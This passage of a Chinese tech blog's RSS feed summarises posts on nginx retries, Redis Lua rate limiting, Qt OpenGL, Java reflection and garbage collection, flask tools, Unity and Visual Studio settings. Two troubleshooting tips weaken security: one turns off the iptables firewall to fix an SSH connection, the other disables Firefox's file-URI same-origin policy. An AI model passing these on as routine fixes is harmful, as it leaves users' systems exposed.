      <pubDate>Sun, 05 Aug 2018 14:09:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfc430b9468b93e0e198bda0beb76a61/</guid>
      <description> 问题描述: 在公司项目中,采用了双机部署，负载均衡方式采用iphash&#xA;upstream xxxx { ip_hash; server 192.168.241.1:8080; #服务器A server 192.168.241.1:8010; #服务器B } 在测试阶段，有一定几率产生，正常操作确存在退出登录界面的问题。 最开始分析是，网络问题，登录请求刚开始转发到服务器A，服务器A有session，其他的请求转发到服务器B，服务器B没有session导致退出系统。分析nginx日志，确没有发现这样的问题，我很是疑惑。。&#xA;但是却发现nginx日志中有这样的情况&#xA;192.168.241.1:8080, 192.168.241.1:8010 | 0.202, 0.302 | 500, 500 || &#34;GET /client-web/pages/stbManager/initStb.do HTTP/1.1&#34; 500 请求client-web/pages/stbManager/initStb.do，同时转发到两个服务器，这就很奇怪。。而且这种情况大部分是发生500 404 等错误才会发生的，而且紧接着就会有这样的日志&#xA;192.168.241.1:8010 | 0.014 | 200 || &#34;GET /client-web/pages/manage/login/sysOut.do HTTP/1.1&#34; 200 也就是服务器B(8010)会退出系统，这很好理解，用户在服务器A登录，请求转发到B上，B系统没有session发生退出，很正常。但是服务器A上的那个用户为什么会退出？还有为什么会发生一个请求转发到两个地址？&#xA;一个请求转发到两个地址 进过分析公司的nginx日志发现有这样的配置&#xA;proxy_next_upstream error timeout invalid_header http_500 http_503 http_404; 意思就是如果发生超时，500 503 404 等错误会转到其他的服务器上。这个也就是nginx的重试机制。&#xA;服务器A的用户退出的原因 通过调试程序发现，用户A的请求中有sessionid，当这个请求转发到服务器B上，服务器将这个请求跳转到登录界面，所以用户A会跳转到登录界面的原因。&#xA;解决问题 谨慎使用重试机制，这回造成很多问题。将重试机制注销掉。 </description>
    </item>
    <item>
      <title>Redis脚本Lua实现访问控制频率</title>
      <link>https://bchobby.github.io/posts/27faf7f3513071595b13e518fad1dfd3/</link>
      <pubDate>Sun, 05 Aug 2018 13:37:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27faf7f3513071595b13e518fad1dfd3/</guid>
      <description>Redis 脚本功能可以自定义新的命令，并且也是原子执行。 本篇和上一篇是相对应的。&#xA;一、简单介绍下脚本： redis2.6推出脚本功能，允许开发者使用 Lua语言编写脚本传到Redis中执行，在Lua脚本中可以调用大部分redis命令。&#xA;使用脚本优点： 减少网络开销：执行一次脚本只需要发送一次请求，减少网络往返时延。如果不使用脚本，可能多个命令要发送多个请求，还会出现竞态情况。原子操作：Redis会将脚本作为一个整体执行，中间不会被其他事务插入。编写脚本过程中无须考虑竞态条件，也无须使用事务。事务可以完成的所有功能都可以通过脚本实现。复用：客户端发送的脚本会永久存储在Redis 中，意味着其他客户端可以复用这段脚本。 二、使用脚本实现访问频率限制， 方案一： Lua代码如下： -- Lua 使用 redis.call()调用redis命令 local times = redis.call(&#39;incr&#39;, KEYS[1]) if times == 1 then -- KEYS[1] 键刚刚创建，所以为其设置生存时间 redis.call(&#39;expire&#39;, KEYS[1], ARGV[1]) end if times &amp;gt; tonumber(ARGV[2]) then -- ARGV[2]为字符串，需要转为number return 0 end return 1 执行脚本： $ redis-cli –eval /path/to/ratelimiting.lua rate.limiting:127.0.0.1 , 10 3&#xA;参数说明： –eval：告诉redis-cli 读取并运行后面的Lua脚本。 /path/to/ratelimiting.lua ： 文件位置 rate.limiting:userId 要操作的key，在脚本中用 KEYS[1]获取 10 3 ：两个参数，在脚本中用 ARGV[1]和ARGV[2] 获取 注意：”,” 两边的空格不能省。</description>
    </item>
    <item>
      <title>flask-security Babel I18n 汉化语言包</title>
      <link>https://bchobby.github.io/posts/4495a51a52bd70a2947e8cb2d83b201c/</link>
      <pubDate>Sat, 04 Aug 2018 00:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4495a51a52bd70a2947e8cb2d83b201c/</guid>
      <description>在网上搜了半天也没介绍flask-security汉化方法，于是查看源代码，发现里面是支持Babellex翻译，于是Git源代码，自己增加了中文简体的翻译文件，并提交到作者，不过还没审核通过，详见如何参与Github上的开源项目Flask-security语言翻译&#xA;由于需要在项目中使用，等到作者合并到项目中并发布，不知道什么时候，于是就自己编译之后放到项目中，记录一下方法给小伙伴参考。&#xA;编译好的语言包：https://download.csdn.net/download/gh254172840/10582647&#xA;接上面文章，将项目编译，生成mo文件，此时注意编译的文件如果是messages.po，messages.mo，请将他们改为flask_security.po，flask_security.mo，不然flask_security会检测不到&#xA;pybabel compile -d flask_security/translations/ 现在需要把zh_Hans_CN整个文件夹复制到flask_security/translations/，即可。&#xA;注意不要更改文件名，不然会检测不到&#xA;接着请安装Flask-BabelEx&#xA;pip install Flask-BabelEx 配置BabelEx，这个在官方教程没写，可以参考flask-admin如何汉化。&#xA;# 初始化flask_babelex from flask import app from flask_babelex import Babel app = Flask(__name__) babel = Babel(app) # 创建一个本地选择器: @babel.localeselector def get_locale(): if request.args.get(&#39;lang&#39;): session[&#39;lang&#39;] = request.args.get(&#39;lang&#39;) return session.get(&#39;lang&#39;, &#39;zh_CN&#39;) 重启服务，你就可以看到汉化效果了&#xA;效果如下：&#xA;Good Lucky！</description>
    </item>
    <item>
      <title>QOpenGLWidget类讲解</title>
      <link>https://bchobby.github.io/posts/dc7c1dfc863cae97d4d53573e239f944/</link>
      <pubDate>Fri, 03 Aug 2018 19:37:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc7c1dfc863cae97d4d53573e239f944/</guid>
      <description>Detailed Description QOpenGLWidget类是用于渲染OpenGL图形。&#xA;除了可以选择使用QPainter和标准的OpenGL渲染图形，QOpenGLWidget类提供了在Qt应用程序中显示OpenGL图形的功能。它使用起来非常简单：新建类继承于QOpenGLWidget，使用方法就像继承于QWidget类子类一样。&#xA;QOpenGLWidget类提供了三个方便的虚函数，可以在新建的子类中重新实现以完成OpenGL的任务： paintGL()—渲染OpenGL场景，需要更新Widget时就会调用。resizeGL()—设置OpenGL视口，投影等。每当调整Widget的大小时（第一次显示窗口Widget时会调用它，因为所有新创建Widget都会自动获得调整大小的事件）。initializeGL()—建立OpenGL的资源和状态。在第一次调用resizeGL()或paintGL()之前调用一次。 如果需要从paintGL()以外的地方触发重绘（一个典型的例子是使用定时器为场景设置动画），应该调用widget的update()函数来进行更新。&#xA;当调用paintGL()，resizeGL()或initializeGL()时，Widget的OpenGL渲染环境需要设为当前。如果需要从其他位置调用标准OpenGL API函数（例如，Widget的构造函数或自己的绘图函数中），则必须首先调用makeCurrent()。&#xA;所有渲染都发生在OpenGL帧缓冲对象中，makeCurrent()确保它在渲染环境中，在paintGL()中的渲染代码中创建和绑定其他帧缓冲对象时，不要使用ID 0重新绑定帧缓冲区，而是调用defaultFramebufferObject()来获取应该绑定的ID。&#xA;QOpenGLWidget允许在平台支持时使用不同的OpenGL版本和配置文件。只需通过setFormat()设置请求的格式。但在同一窗口中有多个QOpenGLWidget，要求它们都使用相同的格式，或者至少不是环境共享的格式。要解决此问题，使用QSurfaceFormat :: setDefaultFormat()，而不是setFormat()。&#xA;注意：在请求OpenGL核心配置文件上下文时，在构造QApplication实例之前调用QSurfaceFormat :: setDefaultFormat()在某些平台（例如，macOS）上是必需的。这是为了确保上下文之间的资源共享保持功能，因为所有内部上下文都是使用正确的版本和配置文件创建的。&#xA;OpenGL Function Calls, Headers and QOpenGLFunctions 在进行OpenGL函数调用时，强烈建议避免直接调用函数。相反，更喜欢使用QOpenGLFunctions(在制作可移植应用程序时)或版本化变体（例如，QOpenGLFunctions_3_2_Core等，当针对现代的，仅限桌面的OpenGL时）。这样，应用程序将在所有Qt构建配置中正常工作，包括执行动态OpenGL实现加载的应用程序，这意味着应用程序不直接链接到GL实现，因此直接函数调用是不可行的。&#xA;在paintGL()中，当前场景(context)始终可以通过调用QOpenGLContext :: currentContext()来访问。从这个context中，可以通过调用QOpenGLContext :: functions()来检索已经初始化的，准备好使用的QOpenGLFunctions实例。为每个GL调用添加前缀的替代方法是从QOpenGLFunctions继承并在initializeGL()中调用QOpenGLFunctions :: initializeOpenGLFunctions()。&#xA;至于OpenGL标题，请注意，在大多数情况下，不需要直接包含任何标题，如GL.h.与OpenGL相关的Qt头文件将包含qopengl.h，后者将包含适用于系统的标头。这可能是OpenGL ES 3.x或2.0标头，可用的最高版本，或系统提供的gl.h.此外，作为OpenGL和OpenGL ES的Qt的一部分，提供了扩展头的副本（在某些系统上称为glext.h）。这些将在可行的情况下自动包含在平台上。这意味着来自ARB，EXT，OES扩展的常量和函数指针typedef自动可用。&#xA;Code Examples 最简单的例子&#xA;class MyGLWidget : public QOpenGLWidget { public: MyGLWidget(QWidget *parent) : QOpenGLWidget(parent) { } protected: void initializeGL() { // Set up the rendering context, load shaders and other resources, etc.: QOpenGLFunctions *f = QOpenGLContext::currentContext()-&amp;gt;functions(); f-&amp;gt;glClearColor(1.</description>
    </item>
    <item>
      <title>反射代理</title>
      <link>https://bchobby.github.io/posts/c126c80100d2fa273adf6d72913369bb/</link>
      <pubDate>Fri, 03 Aug 2018 19:33:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c126c80100d2fa273adf6d72913369bb/</guid>
      <description>关于代码块 代码块有两种，静态代码块，和普通代码块。&#xA;静态代码块属于类级别的，加载的时候执行，普通代码块属于对象级别，创建对象的时候执行。而且普通代码块优先于构造函数执行。&#xA;package mytest.Proxy.reflect;&#xA;public class Main {&#xA;public static void main(String[] args) throws InterruptedException {&#xA;//System.out.println(ZYP.name+&#34;:&#34;);&#xA;for(int i=0;i&amp;lt;2;i++){&#xA;Thread.currentThread().sleep(100);&#xA;System.out.println(&#34;\t第&#34;+i+&#34;次睡眠。&#34;);&#xA;}&#xA;ZYP zyp = new ZYP();&#xA;ZYP zyp1 = new ZYP();&#xA;ZYP zyp2 = new ZYP();&#xA;}&#xA;}&#xA;class ZYP {&#xA;static String name=&#34;zsc&#34;;&#xA;static{&#xA;System.out.println(&#34;静态代码块&#34;);&#xA;}&#xA;{&#xA;System.out.println(&#34;普通代码块&#34;);&#xA;}&#xA;public ZYP(){&#xA;System.out.println(&#34;构造方法&#34;);&#xA;}&#xA;}&#xA;解释：静态代码块属于类级别的，普通代码块数据属于对象级别的。在程序运行的过程中说明了一下几点。&#xA;程序启动时并不加载全部文件，在用到时就会去加载文件。加载完数据就会形成类的类对象存入内存。因为静态代码属于类级别，所以在加载的时候会执行静态代码块的代码。（新体会：Java程序之所以封装在函数里面就是要触发或着调用这个方法，然后这个触发的代码。而在代码块中的代码无需触发，就会在动执行。）在新创建实例的时候并不会再次加载文件，而是通过已经存在的类的类对象创建对象。（反射思考：在通过反射实现对象的时候，会根据类的路径先去找这个类的类对象，如果找到就通过类的类对象直接实例化一个对象，找不带就去加载文件，先有类的类对象，再通过这个类类对象创建类实例返回）。 资料： 要想理解反射的原理，首先要了解什么是类型信息。Java让我们在运行时识别对象和类的信息，主要有2种方式：一种是传统的RTTI，它假定我们在编译时已经知道了所有的类型信息；另一种是反射机制，它允许我们在运行时发现和使用类的信息。&#xA;理解RTTI在Java中的工作原理，首先需要知道类型信息在运行时是如何表示的，这是由Class对象来完成的，它包含了与类有关的信息。Class对象就是用来创建所有“常规”对象的，Java使用Class对象来执行RTTI，即使你正在执行的是类似类型转换这样的操作。&#xA;每个类都会产生一个对应的Class对象，也就是保存在.class文件。所有类都是在对其第一次使用时，动态加载到JVM的，当程序创建一个对类的静态成员的引用时，就会加载这个类。Class对象（类的class文件）仅在需要的时候才会加载，static初始化是在类加载时进行的。&#xA;创建对象的过程：&#xA;类加载器首先会检查这个类的Class对象是否已被加载过，如果尚未加载，默认的类加载器就会根据类名查找对应的.class文件。&#xA;想在运行时使用类型信息（使用类信息干什么？创建对象，调用静态方法，参数等），必须获取对象(比如类Base对象)的Class对象的引用，使用功能Class.forName(“ZYP”)可以实现该目的，或者使用ZYP.class。注意，有一点很有趣，使用功能”.class”来创建Class对象的引用时，不会自动初始化该Class对象，使用forName()会自动初始化该Class对象。（初始化class对象是指，目前我知道的是执行静态代码块这种东西）。&#xA;为了使用类而做的准备工作一般有以下3个步骤：&#xA;加载：由类加载器完成，找到对应的字节码，创建一个Class对象链接：验证类中的字节码，为静态域分配空间初始化：如果该类有超类，则对其初始化，执行静态初始化器和静态初始化块 Class类与java.lang.reflect类库一起对反射进行了支持，该类库包含Field、Method和Constructor类，这些类的对象由JVM在启动时创建，用以表示未知类里对应的成员。这样的话就可以使用Contructor创建新的对象，用get()和set()方法获取和修改类中与Field对象关联的字段，用invoke()方法调用与Method对象关联的方法。另外，还可以调用getFields()、getMethods()和getConstructors()等许多便利的方法，以返回表示字段、方法、以及构造器对象的数组，这样，对象信息可以在运行时被完全确定下来，而在编译时不需要知道关于类的任何事情。</description>
    </item>
    <item>
      <title>ECharts配置title(标题)</title>
      <link>https://bchobby.github.io/posts/5c5899b5fedd1204a4fbe9b5d6168f60/</link>
      <pubDate>Fri, 03 Aug 2018 17:17:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c5899b5fedd1204a4fbe9b5d6168f60/</guid>
      <description> title:{ //1.标题居中 //left的值为&#39;left&#39;, &#39;center&#39;, &#39;right&#39; left:&#39;center&#39;, //默认为10 //2.主副标题之间的间距 itemGap:20, 3.标题文本样式 text:&#39;标题文本&#39;, textStyle:{ //文字颜色 color:&#39;#ccc&#39;, //字体风格,&#39;normal&#39;,&#39;italic&#39;,&#39;oblique&#39; fontStyle:&#39;normal&#39;, //字体粗细 &#39;normal&#39;,&#39;bold&#39;,&#39;bolder&#39;,&#39;lighter&#39;,100 | 200 | 300 | 400... fontWeight:&#39;bold&#39;, //字体系列 fontFamily:&#39;sans-serif&#39;, //字体大小 fontSize:18 } //4.副标题 subtext:&#39;副标题&#39;, //副标题文本样式 subtextStyle:{}, //5.grid组件离容器左侧的距离。 // left 的值可以是像 20 这样的具体像素值，可以是像 &#39;20%&#39; 这样相对于容器高宽的百分比，也 可以是 &#39;left&#39;, &#39;center&#39;, &#39;right&#39;。 //如果 left 的值为&#39;left&#39;, &#39;center&#39;, &#39;right&#39;，组件会根据相应的位置自动对齐。 left:&#39;center&#39; } </description>
    </item>
    <item>
      <title>QT 5.11.1 &#43; OpenGL 第一篇(OpenGL在Qt中几个版本)</title>
      <link>https://bchobby.github.io/posts/f00d87963ff1353112304f17b992c4eb/</link>
      <pubDate>Fri, 03 Aug 2018 16:07:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f00d87963ff1353112304f17b992c4eb/</guid>
      <description> 旧版本的Qt中，模块OpenGL提供了QGL开头类，不提倡使用，只是为了兼容低版本的Qt。新版本的Qt中，有两种方式： 1、Qt的GUI模块中的QOpenGL开头的类。 2、Qt的Widget模块中的QOpenGLWidget类。 </description>
    </item>
    <item>
      <title>Android studio与webstorm 通过GIT同步项目到码云</title>
      <link>https://bchobby.github.io/posts/edeecb5498a548b9a22b8ceee4d650d4/</link>
      <pubDate>Fri, 03 Aug 2018 14:25:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edeecb5498a548b9a22b8ceee4d650d4/</guid>
      <description>每次项目同步到git码云之后，都会好长一段时间不再新上传项目，长时间不使用导致每次项目在新上传时都会记不住使用步骤。在此记下，以作笔记。&#xA;Android studio 与 webstorm 等的操作步骤相同&#xA;在此以react native 项目为例。&#xA;首先在命令行进入项目的目录 执行 react-native init Test 生成项目Test&#xA;webstorm打开项目&#xA;登陆到码云 新建项目Test&#xA;在webstorm的TEST项目中添加版本管理&#xA;选中需要上传的项目&#xA;ADD操作&#xA;在webstorm中右击项目 选中 git —&amp;gt; add&#xA;添加成功之后，项目中的字体颜色变成绿色&#xA;commit 操作&#xA;右击项目 git —&amp;gt; commit directory 提交添加的文件&#xA;填写commit message 然后点击commit 提交&#xA;pull操作&#xA;提交之后 右击项目 选中 git —&amp;gt; repository —&amp;gt; push 将项目push上去&#xA;登陆码云 选择新建的Test项目 克隆/下载 选项 复制git地址&#xA;点击上图的 define remote 在弹框中填入复制的连接&#xA;点击ok&#xA;push提交代码。&#xA;按照正常的情况一般都是push失败的&#xA;不用问为什么，我也不知道，反正先不管它了，失败就失败吧！后面有办法解决&#xA;提交之后 右击项目 选中 git —&amp;gt; repository —&amp;gt; pull将服务器上的文件更新到本地</description>
    </item>
    <item>
      <title>vuex中使用modules时遇到的坑</title>
      <link>https://bchobby.github.io/posts/cabe4635de659cf662f8101c527252ac/</link>
      <pubDate>Thu, 02 Aug 2018 20:28:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cabe4635de659cf662f8101c527252ac/</guid>
      <description>其实也不算坑，只是自己没注意看官网api，定义module另外命名时，需要在module中加一个命名空间namespaced: true&#xA;属性，否则命名无法暴露出来，导致报[vuex] module namespace not found in mapState()等错误。</description>
    </item>
    <item>
      <title>Unity优化美术资源的设置</title>
      <link>https://bchobby.github.io/posts/5e0e76c43f388e421c2187d352c75108/</link>
      <pubDate>Thu, 02 Aug 2018 18:47:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e0e76c43f388e421c2187d352c75108/</guid>
      <description> 是否有多维子材质：多维子材质材质测试，三个子材质，50个物体，使用多维自材质12帧，330个dc，343面。拆开之后20帧，154dc，134面。多维子材质Unity无法动态合并。叠加模式贴图，可以不用Alpha通道特效粒子贴图是否合并是否有些粒子能使用序列帧，不过和视角有关，去掉alpha贴图合并动画boneweight，没有特殊需求的情况下受两根骨骼影响就够了。 资源不需要animation的在Rig里选择none而不是默认的legacy否则会自动生成animator 动画的更新可以设置Culling&#xA;Mode：剔除模式：Always Animate表示即使摄像机看不见也要进行动画播放的更新，Cull Update&#xA;Transform表示摄像机看不见时停止动画播放但是位置会继续更新，Cull Completely表示摄像机看不见时停止动画的所有更新。 模型，贴图和动画不要勾选Read/Write这样会在内存中再开辟一份做更新。 贴图不需要Lightmap的例如角色不能勾生成Lightmap的UV。 模型文件通常是勾压缩的而且是high，如果满足不了再降低或者关闭【实际测试高会有些问题，中还不错，看情况】。 材质是游戏内添加的所以这个勾不需要勾。 这个选项是做表情动画的一般也不需要勾。 不需要mipmap的贴图不能勾生成Mipmap。Mipmap旨在有效降低渲染带宽的压力，提升游戏的渲染效率。但是，开启Mipmap会将纹理内存提升1.33倍。对于具有较大纵深感的3D游戏来说，3D场景模型和角色我们一般是建议开启Mipmap功能的，但是UI或者俯视角的游戏开启Mipmap并不会提升渲染效率，反倒会增加无谓的内存占用。 法线的计算方式，不需要Normal的时候选none。如果不使用发现勾了发现本身就会浪费不必要的内存，更严重的是如果项目对Mesh进行Draw&#xA;Call Batching操作的话，合并后的大mesh将也带Normal信息造成极大浪费，特别如果合并的Mesh中只要有一个带了Normal那么合并所有的顶点都会带Normal，Color，Tangent。 如果动作不使用挂点可以勾Optimize【挂点这种判断不出是否有用的点可能会被优化掉】。 美术场景等不需要动画的Rig的AnimationType应该是none 美术资源，贴图格式最好设置成ETC2美术资源，部分Generic和Humanoid可以Optimize Game&#xA;Objects 界面拾取问题：去掉接受按键消息的勾美术资源，字体文件设置成Dynamic，字体贴图在用的时候才会渲染。这部分内存没被Unity统计，所以设置成静态的也看不到。 美术资源，静态资源都勾上Static。美术资源，GraphicSetting里如果不用系统的Shader，把这些Shader设置成no，减小一点包大小。 Shader可以设置预加载防止游戏内卡顿【实际遇到过】。 关闭不使用的Shader，减少包体大小。美术资源，如果一些贴图的Alpha通道压缩效果不好，增加一些白噪声。美术资源：面数控制在5w面以内，才能保证低配安卓设备流畅 </description>
    </item>
    <item>
      <title>vs 设置dll、lib库的输出路径（c&#43;&#43;）</title>
      <link>https://bchobby.github.io/posts/910461fee417db6976096e07cda17e33/</link>
      <pubDate>Thu, 02 Aug 2018 18:01:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/910461fee417db6976096e07cda17e33/</guid>
      <description>vs2010中，有些项目上的功能是要生产库文件给其他项目调用的，以下是一些设置库文件（x.dll和x.lib）输出路径的方法.&#xA;设置x.dll 输出路径方法是在右键项目的&#34;属性&#34;-&amp;gt;连接器-&amp;gt;常规, 然后在常规属性界面中的 &#34;输出文件&#34; 中填入自己想要x.dll文件的输出路径.&#xA;设置x.lib 输出路径方法是在右键项目的&#34;属性&#34;-&amp;gt;连接器-&amp;gt;高级, 然后在高级属性界面中的 &#34;导入库&#34; 项中填入自己想要x.dll文件的输出路径.&#xA;但是在设置x.lib的输出路径时，发现如果你输入的路径中有某个文件夹不存在,那么文件会生成失败，并且提示无法链接到导入库项路径中的lib库.&#xA;解决这个问题的方法是保证你设置的路径上每个文件夹都是存在的。如果不存在，就手动创建。&#xA;经过测试发现设置x.dll的路径时，如果输入的路径中即使有某个文件夹不存在，编译器会自动给我们生成，并不会出现x.lib设置的情况。&#xA;顺便记录一下项目需要我们自己设置的其他路径：&#xA;包含头文件路径设置：属性-&amp;gt;C++-&amp;gt;常规界面 中的 “附加包含目录”&#xA;有些项目需要包含一些其他x.dll和x.lib库的路径设置:&#xA;包含x.dll库路径设置: 未实际尝试，尝试有用后会添加上来。 另外x.dll文件放到编译好的新工程的 debug 目录下， 新程序就可以调用.dll文件&#xA;包含x.lib库路径设置: 属性-》连接器 -》常规 -》 附加库目录 选项中填入包含x.lib库的路径.&#xA;包含指定要添加到链接行的附加项lib库: 属性-》连接器 -》输入 -》 附加依赖项 选项中填入需要包含的x.dll完整文件路径.&#xA;相对路径的起点为xxx.vcxproj 文件所在的目录</description>
    </item>
    <item>
      <title>flask-admin modelView 如何在create和edit显示不同表单提交</title>
      <link>https://bchobby.github.io/posts/fce23fd62adea5ccab78e8f6aedce0c6/</link>
      <pubDate>Thu, 02 Aug 2018 17:01:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fce23fd62adea5ccab78e8f6aedce0c6/</guid>
      <description>在一个客户项目中，对客户来说一些没必要的字段，需要隐藏。&#xA;而使用flask-admin构建后台时，它的CRUD模型的编辑和创建都是根据Model设置的。&#xA;于是我使用form_create_rules和form_edit_rules来进行选择编辑，但是Debug命令行会总是发出警告：UserWarning: Fields missing from ruleset................，于是上网搜了一下，发现大家都是选择忽略警告，不满意。终于在flask-admin的api文档中找个一个字段可以通用完成这个功能，又不需要涉及Field rules，显示效果是一样的，完美。。&#xA;代码如下：&#xA;class PostView(AdminModelView): &#34;&#34;&#34;View function of Flask-Admin for Post create/edit Page includedin Models page&#34;&#34;&#34; # show columns in edit or create page form_columns = (&#39;title&#39;, &#39;text&#39;,) 看一下效果：&#xA;没设置之前：&#xA;设置之后&#xA;由于有些字段都是用来做过滤用的，客户编辑并不需要，这样看起来清爽很多，而且不会出现csrf_token的警告。&#xA;自己备注一下，发现一个小功能：可以设置字段为只读模式，这个也不错&#xA;# If you want to make them not editable in form view: use this piece: form_widget_args = { &#39;title&#39;: { &#39;readonly&#39;: True }, } Good Lucky~</description>
    </item>
    <item>
      <title>JVM成神之路-Java垃圾回收</title>
      <link>https://bchobby.github.io/posts/41eb6cd7fbc377d3bb2a8d8f9daac3c8/</link>
      <pubDate>Thu, 02 Aug 2018 15:37:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41eb6cd7fbc377d3bb2a8d8f9daac3c8/</guid>
      <description>Java垃圾回收机制 为什么要进行垃圾回收？ 随着程序的运行，内存中存在的实例对象、变量等信息占据的内存越来越多，如果不及时进行垃圾回收，必然会带来程序性能的下降，甚至会因为可用内存不足造成一些不必要的系统异常。&#xA;哪些“垃圾”需要回收？ 如果某个对象已经不存在任何引用，那么它可以被回收。&#xA;什么时候进行垃圾回收？ 引用计数算法 每个对象添加一个引用计数器，每被引用一次，计数器加1，失去引用，计数器减1，当计数器在一段时间内保持为0时，该对象就认为是可以被回收得了。（在JDK1.2之前，使用的是该算法）&#xA;缺点：当两个对象A、B相互引用的时候，当其他所有的引用都消失之后，A和B还有一个相互引用，此时计数器各为1，而实际上这两个对象都已经没有额外的引用了，已经是垃圾了。但是却不会被回收&#xA;可达性分析算法 该算法是从离散数学中的图论引入的，程序把所有的引用关系看作一张图，从一个节点GC ROOT 开始，寻找对应的引用节点，找到这个节点以后，继续寻找这个节点的引用节点，当所有的引用节点寻找完毕之后，剩余的节点则被认为是没有被引用到的节点，即无用的节点&#xA;目前java 中可作为GC Root 的对象有：&#xA;虚拟机栈中引用的对象（本地变量表）方法区中静态属性引用的对象方法区中常量引用的对象本地方法栈中引用的对象（Native Object） 引用的分类 JDK 1.2之后，对引用进行了扩充，引入了强、软、若、虚四种引用，被标记为这四种引用的对象，在GC时分别有不同的意义：&#xA;强引用(Strong Reference) 就是为刚被new出来的对象所加的引用，它的特点就是，永远不会被GC，除非显示的设置null，才会GC。代码如下：&#xA;Object ojb = new Object();&#xA;软引用(Soft Reference) 非必须引用，内存溢出之前进行回收。如果JVM内存并不紧张，这类对象可以不被回收，如果内存紧张，则会被回收。此处有一个问题，既然被引用为软引用的对象可以回收，为什么不去回收呢？其实我们知道，Java中是存在缓存机制的，就拿字面量缓存来说，有些时候，缓存的对象就是当前可有可无的，只是留在内存中如果还有需要，则不需要重新分配内存即可使用，因此，这些对象即可被引用为软引用，方便使用，提高程序性能。代码如下：&#xA;Object obj = new Object();&#xA;SoftReference&amp;lt;Object&amp;gt; sf = new SoftReference&amp;lt;Object&amp;gt;(obj);&#xA;obj =null;&#xA;sf.get();//有时候会返回null&#xA;这时候sf是对obj的一个软引用，通过sf.get()方法可以取到这个对象，当然，当这个对象被标记为需要回收的对象时，则返回null；&#xA;弱引用(Weak Reference) 第二次垃圾回收时回收。代码如下：&#xA;Object obj = new Object();&#xA;WeakReference&amp;lt;Object&amp;gt; wf = new WeakReference&amp;lt;Object&amp;gt;(obj);&#xA;obj =null;&#xA;wf.get();//有时候会返回null&#xA;wf.isEnQueued();//返回是否被垃圾回收器标记为即将回收的垃圾&#xA;弱引用是在第二次垃圾回收时回收，短时间内通过弱引用取对应的数据，可以取到，当执行过第二次垃圾回收时，将返回null。&#xA;弱引用主要用于监控对象是否已经被垃圾回收器标记为即将回收的垃圾，可以通过弱引用的isEnQueued方法返回对象是否被垃圾回收器&#xA;虚引用(Phantom Reference) 垃圾回收时回收，无法通过引用取到对象值。代码如下</description>
    </item>
    <item>
      <title>使用xshell6连接Linux服务器失败的原因</title>
      <link>https://bchobby.github.io/posts/6ef67ba89d85a62806bc3186a2fcd9bd/</link>
      <pubDate>Thu, 02 Aug 2018 14:48:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ef67ba89d85a62806bc3186a2fcd9bd/</guid>
      <description>1. 我在使用xshell6连接到服务器上面发生了连接失败的问题&#xA;2. 仔细分析了一下，可能存在的原因有：&#xA;① 在虚拟机上没有连上网&#xA;所以首先要保证要连接上网&#xA;② 没有开启SSHD服务可以通过系统-&amp;gt;服务来查看是否启动了该服务，可以在命令行中输入service sshd status命令来查看该服务的状态&#xA;③在网上搜索了一下，可能是防火墙的问题（要关闭掉防火墙）&#xA;可以使用命令设置防火墙：&#xA;a. 永久性生效&#xA;开启：chkconfig iptables on&#xA;关闭：chkconfig iptables off&#xA;b. 即时生效，重启后失效&#xA;开启：service iptables start&#xA;关闭：service iptables stop&#xA;3. 保证在前面三项都设置好的话，我先在xshell6上尝试连接上服务器，但是连接还是失败，在从网上查找了资料，在xshell6上看看能不能ping通虚拟机的ip地址，发现ping不通，打开控制面板发现在自己虚拟机上设置的NAT模式的网卡的ip地址所在的网段与虚拟机上的不一致&#xA;而且没有开启DHCP功能，所以进入虚拟机进行设置，回想起来是因为自己在修改DHCP的网段的时候没有确定，导致没有开启DHCP的服务，连接就失败了，重修修改确定之后再次进入控制面板可以发现Vmware8网卡已经开启了DHCP服务，ip地址与主机的ip地址也在同一个网段&#xA;4. 在xshell6上连接Linux服务器就可以连接上了</description>
    </item>
    <item>
      <title>火狐浏览器设置跨域</title>
      <link>https://bchobby.github.io/posts/e3a9bbdc59542af8feacae790d8228df/</link>
      <pubDate>Thu, 02 Aug 2018 10:38:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3a9bbdc59542af8feacae790d8228df/</guid>
      <description>1.进入火狐配置页进行设置 2.点击”我了解此风险”后进入页面 3.搜索”security.fileuri.strict_origin_policy”,并设置该项为false 4.重启浏览器，可以跨域访问</description>
    </item>
    <item>
      <title>intellij idea 使用Tomcat部署的项目在哪里,为什么不在Tomcat的webapps目录下面</title>
      <link>https://bchobby.github.io/posts/aa4538cca63796a6a758537ea43ea4c2/</link>
      <pubDate>Wed, 01 Aug 2018 20:13:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa4538cca63796a6a758537ea43ea4c2/</guid>
      <description>intellij idea 使用Tomcat部署javaweb项目后到Tomcat的webapps目录下找不到项目.&#xA;首先看下部署项目后webapps的目录&#xA;首先说明怎么找到已经部署好的项目,再来解释原因.&#xA;2.1 首先点击项目,右键点击Show in Explorer.&#xA;2.2 这里的项目没有使用maven,所以输出目录是out,如果是maven则是target目录中,还有可能是idea版本的问题,所以名称不同,但是都是属于输出目录.18年的文章…&#xA;2.3&#xA;2.4&#xA;此时部署的web项目已经找到.intellij idea使用Tomcat部署项目后并不会把编译后的项目复制到tomcat的webapps目录下,但是它会把编译好的项目路径告诉Tomcat,让Tomcat来找到这个项目,其它的项目比如Tomcat的主页项目ROOT是打不开的,因为intellij idea 只让Tomcat运行了一个项目.&#xA;接下来看一下war包的目录结构,也就是整个web项目编译后的目录结构&#xA;4.tomcat有4中部署方式,eclipse的部署方式与IntelliJ idea的部署方式不同. 